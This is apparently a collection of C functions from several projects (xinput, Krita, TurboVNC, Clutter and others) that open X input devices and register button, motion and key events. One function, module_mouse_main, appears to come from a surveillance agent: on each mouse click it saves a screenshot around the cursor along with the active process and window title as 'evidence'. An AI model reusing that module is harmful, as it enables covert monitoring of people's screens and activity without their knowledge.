static int register_events(Display *dpy, XDeviceInfo *info, char *dev_name, Bool handle_proximity) { int number = 0; /* number of events registered */ XEventClass event_list[7]; int i; XDevice *device; Window root_win; unsigned long screen; XInputClassInfo *ip; screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); device = XOpenDevice(dpy, info->id); if (!device) { fprintf(stderr, "unable to open device '%s'\n", dev_name); return 0; } if (device->num_classes > 0) { for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) { switch (ip->input_class) { case KeyClass: DeviceKeyPress(device, key_press_type, event_list[number]); number++; DeviceKeyRelease(device, key_release_type, event_list[number]); number++; break; case ButtonClass: DeviceButtonPress(device, button_press_type, event_list[number]); number++; DeviceButtonRelease(device, button_release_type, event_list[number]); number++; break; case ValuatorClass: DeviceMotionNotify(device, motion_type, event_list[number]); number++; if (handle_proximity) { ProximityIn(device, proximity_in_type, event_list[number]); number++; ProximityOut(device, proximity_out_type, event_list[number]); number++; } break; default: fprintf(stderr, "unknown class\n"); break; } } if (XSelectExtensionEvent(dpy, root_win, event_list, number)) { fprintf(stderr, "error selecting extended events\n"); return 0; } } return number; }
static int register_events(XDeviceInfo *info, XDevice *device, Bool handle_proximity) { int number = 0; /* number of events registered */ XEventClass event_list[7]; int i; unsigned long screen; XInputClassInfo *ip; screen = DefaultScreen(display); if (device->num_classes > 0) { for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) { switch (ip->input_class) { case ButtonClass: DeviceButtonPress(device, button_press_type, event_list[number]); number++; DeviceButtonRelease(device, button_release_type, event_list[number]); number++; break; case ValuatorClass: DeviceMotionNotify(device, motion_type, event_list[number]); number++; if (handle_proximity) { ProximityIn(device, proximity_in_type, event_list[number]); number++; ProximityOut(device, proximity_out_type, event_list[number]); number++; } break; default: fprintf(stderr, "Found unknown device class %d\n", ip->input_class); break; } } if (XSelectExtensionEvent(display, root, event_list, number)) { fprintf(stderr, "Error selecting extended events\n"); return 0; } } return number; }
void kis_x11_init_tablet() { KisConfig cfg; bool disableTouchOnCanvas = cfg.disableTouchOnCanvas(); // TODO: free this structure on exit KIS_X11 = new KisX11Data; KIS_X11->display = QX11Info::display(); kis_x11_create_intern_atoms(); // XInputExtension KIS_X11->use_xinput = false; KIS_X11->xinput_major = 0; KIS_X11->xinput_eventbase = 0; KIS_X11->xinput_errorbase = 0; // See if Xinput is supported on the connected display KIS_X11->ptrXCloseDevice = 0; KIS_X11->ptrXListInputDevices = 0; KIS_X11->ptrXOpenDevice = 0; KIS_X11->ptrXFreeDeviceList = 0; KIS_X11->ptrXSelectExtensionEvent = 0; KIS_X11->use_xinput = XQueryExtension(KIS_X11->display, "XInputExtension", &KIS_X11->xinput_major, &KIS_X11->xinput_eventbase, &KIS_X11->xinput_errorbase); if (KIS_X11->use_xinput) { KIS_X11->ptrXCloseDevice = XINPUT_LOAD(XCloseDevice); KIS_X11->ptrXListInputDevices = XINPUT_LOAD(XListInputDevices); KIS_X11->ptrXOpenDevice = XINPUT_LOAD(XOpenDevice); KIS_X11->ptrXFreeDeviceList = XINPUT_LOAD(XFreeDeviceList); KIS_X11->ptrXSelectExtensionEvent = XINPUT_LOAD(XSelectExtensionEvent); } if (KIS_X11->use_xinput) { int ndev, i, j; bool gotStylus, gotEraser; XDeviceInfo *devices = 0, *devs; XInputClassInfo *ip; XAnyClassPtr any; XValuatorInfoPtr v; XAxisInfoPtr a; XDevice *dev = 0; bool needCheckIfItIsReallyATablet; bool touchWacomTabletWorkaround; if (KIS_X11->ptrXListInputDevices) { devices = KIS_X11->ptrXListInputDevices(KIS_X11->display, &ndev); if (!devices) qWarning("QApplication: Failed to get list of tablet devices"); } if (!devices) ndev = -1; QTabletEvent::TabletDevice deviceType; for (devs = devices, i = 0; i < ndev && devs; i++, devs++) { dev = 0; deviceType = QTabletEvent::NoDevice; gotStylus = false; gotEraser = false; needCheckIfItIsReallyATablet = false; touchWacomTabletWorkaround = false; #if defined(Q_OS_IRIX) #else if (devs->type == KIS_ATOM(XWacomStylus) || devs->type == KIS_ATOM(XTabletStylus) ||devs->type == KIS_ATOM(XInputTablet)) { if (devs->type == KIS_ATOM(XInputTablet)) { kis_haveEvdevTablets = true; } deviceType = QTabletEvent::Stylus; gotStylus = true; } else if (devs->type == KIS_ATOM(XWacomEraser) || devs->type == KIS_ATOM(XTabletEraser)) { deviceType = QTabletEvent::XFreeEraser; gotEraser = true; } else if ((devs->type == KIS_ATOM(XInputKeyboard) || devs->type == KIS_ATOM(AiptekStylus)) && QString(devs->name) == "Aiptek") { /** * Some really "nice" tablets (more precisely, * Genius G-Pen 510 (aiptek driver)) report that * they are a "keyboard". Well, we cannot convince * them that they are not, so just check if this * "keyboard" has motion and proximity events. If * it looks like a duck... :) */ kis_haveEvdevTablets = true; deviceType = QTabletEvent::Stylus; gotStylus = true; needCheckIfItIsReallyATablet = true; } else if (disableTouchOnCanvas && devs->type == KIS_ATOM(WacomTouch) && QString(devs->name).contains("Wacom")) { kis_haveEvdevTablets = true; deviceType = QTabletEvent::Stylus; gotStylus = true; touchWacomTabletWorkaround = true; } #endif if (deviceType == QTabletEvent::NoDevice) continue; if (gotStylus || gotEraser) { if (KIS_X11->ptrXOpenDevice) dev = KIS_X11->ptrXOpenDevice(KIS_X11->display, devs->id); if (!dev) continue; QTabletDeviceData device_data; device_data.deviceType = deviceType; device_data.eventCount = 0; device_data.device = dev; device_data.xinput_motion = -1; device_data.xinput_key_press = -1; device_data.xinput_key_release = -1; device_data.xinput_button_press = -1; device_data.xinput_button_release = -1; device_data.xinput_proximity_in = -1; device_data.xinput_proximity_out = -1; device_data.isTouchWacomTablet = touchWacomTabletWorkaround; //device_data.widgetToGetPress = 0; if (dev->num_classes > 0) { for (ip = dev->classes, j = 0; j < dev->num_classes; ip++, j++) { switch (ip->input_class) { case KeyClass: DeviceKeyPress(dev, device_data.xinput_key_press, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; DeviceKeyRelease(dev, device_data.xinput_key_release, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; break; case ButtonClass: DeviceButtonPress(dev, device_data.xinput_button_press, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; DeviceButtonRelease(dev, device_data.xinput_button_release, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; break; case ValuatorClass: // I'm only going to be interested in motion when the // stylus is already down anyway! DeviceMotionNotify(dev, device_data.xinput_motion, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; ProximityIn(dev, device_data.xinput_proximity_in, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; ProximityOut(dev, device_data.xinput_proximity_out, device_data.eventList[device_data.eventCount]); if (device_data.eventList[device_data.eventCount]) ++device_data.eventCount; default: break; } } } if (needCheckIfItIsReallyATablet && (device_data.xinput_motion == -1 || device_data.xinput_proximity_in == -1 || device_data.xinput_proximity_out == -1)) { continue; } if (KisTabletDebugger::instance()->initializationDebugEnabled()) { dbgTablet << "###################################"; dbgTablet << "# Adding a tablet device:" << devs->name; dbgTablet << "Device Type:" << KisTabletDebugger::tabletDeviceToString(deviceType); } device_data.savedAxesData.tryFetchAxesMapping(dev); // get the min/max value for pressure! any = (XAnyClassPtr) (devs->inputclassinfo); for (j = 0; j < devs->num_classes; j++) { if (any->c_class == ValuatorClass) { v = (XValuatorInfoPtr) any; a = (XAxisInfoPtr) ((char *) v + sizeof (XValuatorInfo)); #if defined (Q_OS_IRIX) #else device_data.minX = a[0].min_value; device_data.maxX = a[0].max_value; device_data.minY = a[1].min_value; device_data.maxY = a[1].max_value; device_data.minPressure = a[2].min_value; device_data.maxPressure = a[2].max_value; device_data.minTanPressure = 0; device_data.maxTanPressure = 0; device_data.minZ = 0; device_data.maxZ = 0; device_data.minRotation = a[5].min_value; device_data.maxRotation = a[5].max_value; if (KisTabletDebugger::instance()->initializationDebugEnabled()) { dbgTablet << "# Axes limits data"; dbgTablet << "X: " << device_data.minX << device_data.maxX; dbgTablet << "Y: " << device_data.minY << device_data.maxY; dbgTablet << "Z: " << device_data.minZ << device_data.maxZ; dbgTablet << "Pressure:" << device_data.minPressure << device_data.maxPressure; dbgTablet << "Rotation:" << device_data.minRotation << device_data.maxRotation; dbgTablet << "T. Pres: " << device_data.minTanPressure << device_data.maxTanPressure; } #endif // got the max pressure no need to go further... break; } any = (XAnyClassPtr) ((char *) any + any->length); } // end of for loop qt_tablet_devices()->append(device_data); } // if (gotStylus || gotEraser) } if (KIS_X11->ptrXFreeDeviceList) KIS_X11->ptrXFreeDeviceList(devices); } }
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput (JNIEnv *env, jobject obj) { jclass cls, eidcls; jfieldID fid; jmethodID mid; Display *dpy = NULL; Window win = 0; XDeviceInfo *devInfo = NULL; XDevice *device = NULL; int nDevices = 0, i, ci, ai, nEvents = 0; int buttonPressType = -1, buttonReleaseType = -1, motionType = -1; XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}; jobject extInputDevice; if ((dpy = XOpenDisplay(NULL)) == NULL) _throw("Could not open X display"); bailif0(cls = (*env)->GetObjectClass(env, obj)); bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J")); if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0) _throw("X window handle has not been initialized"); if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL) _throw("Could not list XI devices"); for (i = 0; i < nDevices; i++) { char *type; XAnyClassPtr classInfo = devInfo[i].inputclassinfo; CARD32 canGenerate = 0, productID = 0; if (devInfo[i].use != IsXExtensionPointer) continue; if (devInfo[i].type == None) continue; type = XGetAtomName(dpy, devInfo[i].type); if (!strcmp(type, "MOUSE")) { XFree(type); continue; } /* TurboVNC-specific: we use productID to represent the device type, so we can recreate it on the server */ if (!strcmp(type, "CURSOR")) productID = rfbGIIDevTypeCursor; else if (!strcmp(type, "STYLUS")) productID = rfbGIIDevTypeStylus; else if (!strcmp(type, "ERASER")) productID = rfbGIIDevTypeEraser; else if (!strcmp(type, "TOUCH")) productID = rfbGIIDevTypeTouch; else if (!strcmp(type, "PAD")) productID = rfbGIIDevTypePad; XFree(type); bailif0(eidcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice")); bailif0(extInputDevice = (*env)->AllocObject(env, eidcls)); SET_STRING(eidcls, extInputDevice, name, devInfo[i].name); SET_LONG(eidcls, extInputDevice, vendorID, 4242); SET_LONG(eidcls, extInputDevice, productID, productID); SET_LONG(eidcls, extInputDevice, id, devInfo[i].id); for (ci = 0; ci < devInfo[i].num_classes; ci++) { switch (classInfo->class) { case ButtonClass: { XButtonInfoPtr b = (XButtonInfoPtr)classInfo; SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons); canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask; break; } case ValuatorClass: { XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo; jclass valcls; bailif0(valcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice$Valuator")); if (v->mode == Absolute) canGenerate |= rfbGIIValuatorAbsoluteMask; else if (v->mode == Relative) canGenerate |= rfbGIIValuatorRelativeMask; for (ai = 0; ai < v->num_axes; ai++) { jobject valuator; XAxisInfoPtr a = &v->axes[ai]; char longName[75], shortName[5]; bailif0(valuator = (*env)->AllocObject(env, valcls)); SET_INT(valcls, valuator, index, ai); snprintf(longName, 75, "Valuator %d", ai); SET_STRING(valcls, valuator, longName, longName); snprintf(shortName, 5, "%d", ai); SET_STRING(valcls, valuator, shortName, shortName); SET_INT(valcls, valuator, rangeMin, a->min_value); SET_INT(valcls, valuator, rangeCenter, (a->min_value + a->max_value) / 2); SET_INT(valcls, valuator, rangeMax, a->max_value); SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength); SET_INT(valcls, valuator, siDiv, a->resolution); bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator", "(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V")); (*env)->CallVoidMethod(env, extInputDevice, mid, valuator); } break; } } classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length); } SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate); if (canGenerate & rfbGIIValuatorAbsoluteMask) SET_BOOL(eidcls, extInputDevice, absolute, 1); if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL) _throw("Could not open XI device"); for (ci = 0; ci < device->num_classes; ci++) { if (device->classes[ci].input_class == ButtonClass) { DeviceButtonPress(device, buttonPressType, events[nEvents]); nEvents++; DeviceButtonRelease(device, buttonReleaseType, events[nEvents]); nEvents++; } else if (device->classes[ci].input_class == ValuatorClass) { DeviceMotionNotify(device, motionType, events[nEvents]); nEvents++; } } XCloseDevice(dpy, device); device=NULL; bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice", "(Lcom/turbovnc/rfb/ExtInputDevice;)V")); (*env)->CallVoidMethod(env, obj, mid, extInputDevice); } XFreeDeviceList(devInfo); devInfo = NULL; if (nEvents == 0) { printf("No extended input devices.\n"); goto bailout; } if (XSelectExtensionEvent(dpy, win, events, nEvents)) _throw("Could not select XI events"); SET_INT(cls, obj, buttonPressType, buttonPressType); SET_INT(cls, obj, buttonReleaseType, buttonReleaseType); SET_INT(cls, obj, motionType, motionType); SET_LONG(cls, obj, x11dpy, (jlong)dpy); printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n", DisplayString(dpy), (unsigned int)win); bailout: if (dpy && device) XCloseDevice(dpy, device); if (devInfo) XFreeDeviceList(devInfo); }
int Run(Display* pDisp, UI* pUI, FORMATTYPE fmt, const char* pszDeviceName) { int nRtn; XDevice* pDev; XDeviceInfoPtr pDevInfo; int nEventListCnt = 0; XEventClass eventList[32]; XEventClass cls; /* get the device by name */ pDevInfo = GetDevice(pDisp,pszDeviceName); if (!pDevInfo) { fprintf(stderr,"Unable to find input device '%s'\n",pszDeviceName); return 1; } /* open device */ pDev = XOpenDevice(pDisp,pDevInfo->id); if (!pDev) { fprintf(stderr,"Unable to open input device '%s'\n",pszDeviceName); return 1; } /* key events */ DeviceKeyPress(pDev,gnInputEvent[INPUTEVENT_KEY_PRESS],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceKeyRelease(pDev,gnInputEvent[INPUTEVENT_KEY_RELEASE],cls); if (cls) eventList[nEventListCnt++] = cls; /* focus events */ DeviceFocusIn(pDev,gnInputEvent[INPUTEVENT_FOCUS_IN],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceFocusOut(pDev,gnInputEvent[INPUTEVENT_FOCUS_OUT],cls); if (cls) eventList[nEventListCnt++] = cls; /* button events */ DeviceButtonPress(pDev,gnInputEvent[INPUTEVENT_BTN_PRESS],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButtonRelease(pDev,gnInputEvent[INPUTEVENT_BTN_RELEASE],cls); if (cls) eventList[nEventListCnt++] = cls; /* proximity events */ ProximityIn(pDev,gnInputEvent[INPUTEVENT_PROXIMITY_IN],cls); if (cls) eventList[nEventListCnt++] = cls; ProximityOut(pDev,gnInputEvent[INPUTEVENT_PROXIMITY_OUT],cls); if (cls) eventList[nEventListCnt++] = cls; /* motion events */ DeviceMotionNotify(pDev,gnInputEvent[INPUTEVENT_MOTION_NOTIFY],cls); if (cls) eventList[nEventListCnt++] = cls; /* device state */ DeviceStateNotify(pDev,gnInputEvent[INPUTEVENT_DEVICE_STATE_NOTIFY],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceMappingNotify(pDev, gnInputEvent[INPUTEVENT_DEVICE_MAPPING_NOTIFY],cls); if (cls) eventList[nEventListCnt++] = cls; ChangeDeviceNotify(pDev,gnInputEvent[INPUTEVENT_CHANGE_DEVICE_NOTIFY],cls); if (cls) eventList[nEventListCnt++] = cls; #if 0 /* this cuts the motion data down - not sure if this is useful */ DevicePointerMotionHint(pDev, gnInputEvent[INPUTEVENT_DEVICE_POINTER_MOTION_HINT],cls); if (cls) eventList[nEventListCnt++] = cls; #endif /* button motion */ DeviceButtonMotion(pDev, gnInputEvent[INPUTEVENT_DEVICE_BUTTON_MOTION],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButton1Motion(pDev, gnInputEvent[INPUTEVENT_DEVICE_BUTTON1_MOTION],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButton2Motion(pDev, gnInputEvent[INPUTEVENT_DEVICE_BUTTON2_MOTION],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButton3Motion(pDev, gnInputEvent[INPUTEVENT_DEVICE_BUTTON3_MOTION],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButton4Motion(pDev, gnInputEvent[INPUTEVENT_DEVICE_BUTTON4_MOTION],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButton5Motion(pDev, gnInputEvent[INPUTEVENT_DEVICE_BUTTON5_MOTION],cls); if (cls) eventList[nEventListCnt++] = cls; /* specify which events to report */ /* XSelectInput(pDisp,wnd,0x00FFFFFF ^ PointerMotionHintMask); */ /* XSelectExtensionEvent(pDisp,wnd,eventList,nEventListCnt); */ /* grab device - work whether pointer is in active window or not */ XGrabDevice(pDisp,pDev,DefaultRootWindow(pDisp), 0, /* no owner events */ nEventListCnt, eventList, /* events */ GrabModeAsync, /* don't queue, give me whatever you got */ GrabModeAsync, /* same */ CurrentTime); /* fire up the UI */ if ((nRtn=pUI->Init()) != 0) fprintf(stderr,"failed to initialize UI\n"); else { if ((nRtn=pUI->Run(pDisp,pDevInfo,fmt)) != 0) fprintf(stderr,"failed to run UI\n"); pUI->Term(); } XUngrabDevice(pDisp,pDev,CurrentTime); XFree(pDev); XCloseDisplay(pDisp); return nRtn; }
static PyObject * xextdev_grab(PyObject *self, PyObject *args) { XEventClass cls; const char *devname; int devid; XAnyClassPtr pClass; int j; XEventClass eventList[32]; int nEventListCnt = 0; if (!display) { ASSERTCOND(display = XOpenDisplay(NULL),"open display"); /* polling this seems to be the only way * * to do a timed wait on X events */ x11_fd = ConnectionNumber(display); xdevList = (XDeviceInfoPtr) XListInputDevices(display, &devcount); if (!xdevList) { fprintf(stderr,"Failed to get input device list\n"); return Py_BuildValue("i", 0); } } if (!PyArg_ParseTuple(args, "i", &devid)) return Py_BuildValue("i", 0); ASSERTCOND(devid<devcount, "Tried to grab non-existing device id %d (max %d)", devid,devcount); xdevInfo = xdevList + devid; devname = xdevInfo->name; val = NULL; pClass = xdevInfo->inputclassinfo; for (j=0; j<xdevInfo->num_classes; ++j) { switch (pClass->class) { case ValuatorClass: val = (XValuatorInfoPtr)pClass; break; } pClass = (XAnyClassPtr)((char*)pClass + pClass->length); } ASSERTCOND(val,"xinputextdev: Unable to get valuator " "information of '%s'\n",devname); /* open device */ ASSERTCOND(xdev = XOpenDevice(display,xdevInfo->id), "xinputextdev: Unable to open " "input device '%s'\n",devname); /* button events */ DeviceButtonPress(xdev,inputEventTypes[INPUTEVENT_BTN_PRESS],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButtonRelease(xdev,inputEventTypes[INPUTEVENT_BTN_RELEASE],cls); if (cls) eventList[nEventListCnt++] = cls; /* motion events */ DeviceMotionNotify(xdev,inputEventTypes[INPUTEVENT_MOTION_NOTIFY],cls); if (cls) eventList[nEventListCnt++] = cls; /* proximity events */ ProximityOut(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_OUT],cls); if (cls) eventList[nEventListCnt++] = cls; ProximityIn(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_IN],cls); if (cls) eventList[nEventListCnt++] = cls; /* grab device */ int err = XGrabDevice(display,xdev,DefaultRootWindow(display), 0,nEventListCnt,eventList, GrabModeAsync,GrabModeAsync,CurrentTime); if (err == AlreadyGrabbed) fprintf(stderr,"xinputextdev: Grab error: AlreadyGrabbed\n"); else if (err == GrabNotViewable) fprintf(stderr, "xinputextdev: Grab error: GrabNotViewable\n"); else if (err == GrabFrozen) fprintf(stderr, "xinputextdev: Grab error: GrabFrozen\n"); else { printf("xinputextdev: Device '%s' grabbed.\n",devname); return Py_BuildValue("[i,i]", val->axes[0].max_value, val->axes[1].max_value); } return Py_BuildValue("i", 0); }
void *module_mouse_main(void *args) { Display *display = NULL; int i, devnum = 0, mousenum = 0, buttonrelease = 0; XDeviceInfo *devinfo = NULL; XDevice **device = NULL; XEventClass evlist; XEvent event; Window root, child; int rootX, rootY, childX, childY; unsigned int mask; XWindowAttributes wininfo; int maxfd = -1, xfd = -1; int width = 40, height = 40; char *process = NULL, *title = NULL; int imgx, imgy, imgw, imgh; fd_set rfds; struct additional a; BIO *bio_additional = NULL; char *additionalptr, *dataptr = NULL; long additionallen, datalen = 0; debugme("Module MOUSE started\n"); if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL; if(MODULE_MOUSE_P) { width = MODULE_MOUSE_P->width; height = MODULE_MOUSE_P->height; } do { if((display = XOpenDisplay(NULL)) == NULL) break; if((xfd = ConnectionNumber(display)) < 0) break; if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break; if(!(device = calloc(devnum, sizeof(XDevice *)))) break; if(!(bio_additional = BIO_new(BIO_s_mem()))) break; for(i = 0; i < devnum; i++) { if(devinfo[i].use == IsXExtensionPointer) { if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue; DeviceButtonRelease(device[i], buttonrelease, evlist); XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1); mousenum++; } } if(!mousenum) break; maxfd = MAX(xfd, MODULE_MOUSE.event) + 1; while(MODULE_MOUSE.status != MODULE_STOPPING) { do { if(!XPending(display)) { FD_ZERO(&rfds); FD_SET(xfd, &rfds); FD_SET(MODULE_MOUSE.event, &rfds); if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break; } if(MODULE_MOUSE.status == MODULE_STOPPING) break; if(XNextEvent(display, &event)) break; if(event.type != buttonrelease) break; if(((XDeviceButtonEvent *)&event)->button > 3) break; XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask); XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo); getwindowproperties(display, getactivewindow(display), &process, &title); debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title); imgx = MAX(rootX - (width / 2), 0); imgy = MAX(rootY - (height / 2), 0); imgw = MIN(rootX + (width / 2), wininfo.width) - imgx; imgh = MIN(rootY + (height / 2), wininfo.height) - imgy; if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break; a.version = MOUSEMODULE_VERSION; a.processlen = strlen16(process) + 2; a.titlelen = strlen16(title) + 2; a.x = rootX; a.y = rootY; a.width = imgw; a.height = imgh; (void)BIO_reset(bio_additional); BIO_write(bio_additional, &a, sizeof(a)); BIO_puts16n(bio_additional, process); BIO_puts16n(bio_additional, title); if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break; evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen); } while(0); if(dataptr) { free(dataptr); dataptr = NULL; } if(process) { free(process); process = NULL; } if(title) { free(title); title = NULL; } } } while(0); if(bio_additional) BIO_free(bio_additional); if(device) { for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]); free(device); } if(devinfo) XFreeDeviceList(devinfo); if(display) XCloseDisplay(display); debugme("Module MOUSE stopped\n"); return NULL; }
gint _clutter_input_device_x11_construct (ClutterInputDevice *device, ClutterBackendX11 *backend) { int n_events = 0; #ifdef HAVE_XINPUT ClutterInputDeviceX11 *device_x11; XDevice *x_device = NULL; gint device_id; int i; device_x11 = CLUTTER_INPUT_DEVICE_X11 (device); device_id = clutter_input_device_get_device_id (device); clutter_x11_trap_x_errors (); /* retrieve the X11 device */ x_device = XOpenDevice (backend->xdpy, device_id); if (clutter_x11_untrap_x_errors () || x_device == NULL) { CLUTTER_NOTE (BACKEND, "Unable to open device %i", device_id); return 0; } device_x11->xdevice = x_device; CLUTTER_NOTE (BACKEND, "Registering XINPUT device with XID: %li", x_device->device_id); /* We must go through all the classes supported by this device and * register the appropriate events we want. Each class only appears * once. We need to store the types with the stage since they are * created dynamically by the server. They are not device specific. */ for (i = 0; i < x_device->num_classes; i++) { XInputClassInfo *xclass_info = x_device->classes + i; int *button_press, *button_release, *motion_notify; int *key_press, *key_release; button_press = &backend->event_types[CLUTTER_X11_XINPUT_BUTTON_PRESS_EVENT]; button_release = &backend->event_types[CLUTTER_X11_XINPUT_BUTTON_RELEASE_EVENT]; motion_notify = &backend->event_types[CLUTTER_X11_XINPUT_MOTION_NOTIFY_EVENT]; key_press = &backend->event_types[CLUTTER_X11_XINPUT_KEY_PRESS_EVENT]; key_release = &backend->event_types[CLUTTER_X11_XINPUT_KEY_RELEASE_EVENT]; switch (xclass_info->input_class) { /* event though XInput 1.x is broken for keyboard-like devices * it might still be useful to track them down; the core keyboard * will handle the right events anyway */ case KeyClass: DeviceKeyPress (x_device, *key_press, device_x11->xevent_list[n_events]); n_events++; DeviceKeyRelease (x_device, *key_release, device_x11->xevent_list[n_events]); n_events++; break; case ButtonClass: DeviceButtonPress (x_device, *button_press, device_x11->xevent_list[n_events]); n_events++; DeviceButtonRelease (x_device, *button_release, device_x11->xevent_list[n_events]); n_events++; break; case ValuatorClass: DeviceMotionNotify (x_device, *motion_notify, device_x11->xevent_list[n_events]); n_events++; break; } } device_x11->num_events = n_events; #endif /* HAVE_XINPUT */ return n_events; }
/* this piece of code was taken from package xinput-1.12 */ static int register_events(int player_id, Display *dpy, XDeviceInfo *info, char *dev_name) { int number = 0; /* number of events registered */ XEventClass event_list[7]; int i; XAnyClassPtr any; XDevice *device; Window root_win; unsigned long screen; XInputClassInfo *ip; XButtonInfoPtr binfo; XValuatorInfoPtr vinfo; screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); device = XOpenDevice(dpy, info->id); if (!device) { fprintf(stderr, "XInput: Unable to open XInput device `%s'\n", dev_name); return 0; } fprintf(stderr, "XInput: Player %d using Device `%s'", player_id + 1, dev_name); if (device->num_classes > 0) { any = (XAnyClassPtr)(info->inputclassinfo); for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) { switch (ip->input_class) { case KeyClass: DeviceKeyPress(device, key_press_type, event_list[number]); number++; DeviceKeyRelease(device, key_release_type, event_list[number]); number++; break; case ButtonClass: binfo = (XButtonInfoPtr) any; DeviceButtonPress(device, button_press_type, event_list[number]); number++; DeviceButtonRelease(device, button_release_type, event_list[number]); number++; fprintf(stderr, ", %d buttons", binfo->num_buttons); break; case ValuatorClass: vinfo=(XValuatorInfoPtr) any; DeviceMotionNotify(device, motion_type, event_list[number]); number++; fprintf(stderr, ", %d axis", vinfo->num_axes); break; default: break; } any = (XAnyClassPtr) ((char *) any+any->length); } if (XSelectExtensionEvent(dpy, root_win, event_list, number)) { fprintf(stderr, ": Could not select extended events, not using"); number = 0; } } else fprintf(stderr, " contains no classes, not using"); fprintf(stderr, "\n"); return number; }
int snoop_xinput(Window win) { int opcode, event, error, numdevs, i, j; int major, minor, rc, rawmotion = 0; int ev = 0; unsigned char mask[(XI_LASTEVENT + 7)/8]; XDeviceInfo *devinfo; XInputClassInfo *ici; XDevice *device; XIEventMask evmasks[1]; if (!XQueryExtension(dpy, "XInputExtension", &opcode, &event, &error)) { if (debug) warn("XInput extension not available"); return (0); } /* * If we support xinput 2, use that for raw motion and button events to * get pointer data when the cursor is over a Chromium window. We * could also use this to get raw key input and avoid the other XInput * stuff, but we may need to be able to examine the key value later to * filter out ignored keys. */ major = minor = 2; rc = XIQueryVersion(dpy, &major, &minor); if (rc != BadRequest) { memset(mask, 0, sizeof(mask)); XISetMask(mask, XI_RawMotion); XISetMask(mask, XI_RawButtonPress); evmasks[0].deviceid = XIAllMasterDevices; evmasks[0].mask_len = sizeof(mask); evmasks[0].mask = mask; XISelectEvents(dpy, win, evmasks, 1); XFlush(dpy); rawmotion = 1; if (debug) printf("using xinput2 raw motion events\n"); } devinfo = XListInputDevices(dpy, &numdevs); XEventClass event_list[numdevs * 2]; for (i = 0; i < numdevs; i++) { if (devinfo[i].use != IsXExtensionKeyboard && devinfo[i].use != IsXExtensionPointer) continue; if (!(device = XOpenDevice(dpy, devinfo[i].id))) break; for (ici = device->classes, j = 0; j < devinfo[i].num_classes; ici++, j++) { switch (ici->input_class) { case KeyClass: if (debug) printf("attaching to keyboard device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceKeyPress(device, key_press_type, event_list[ev]); ev++; DeviceKeyRelease(device, key_release_type, event_list[ev]); ev++; break; case ButtonClass: if (rawmotion) continue; if (debug) printf("attaching to buttoned device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceButtonPress(device, button_press_type, event_list[ev]); ev++; DeviceButtonRelease(device, button_release_type, event_list[ev]); ev++; break; case ValuatorClass: if (rawmotion) continue; if (debug) printf("attaching to pointing device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceMotionNotify(device, motion_type, event_list[ev]); ev++; break; } } if (XSelectExtensionEvent(dpy, win, event_list, ev)) { warn("error selecting extension events"); return (0); } } return (ev); }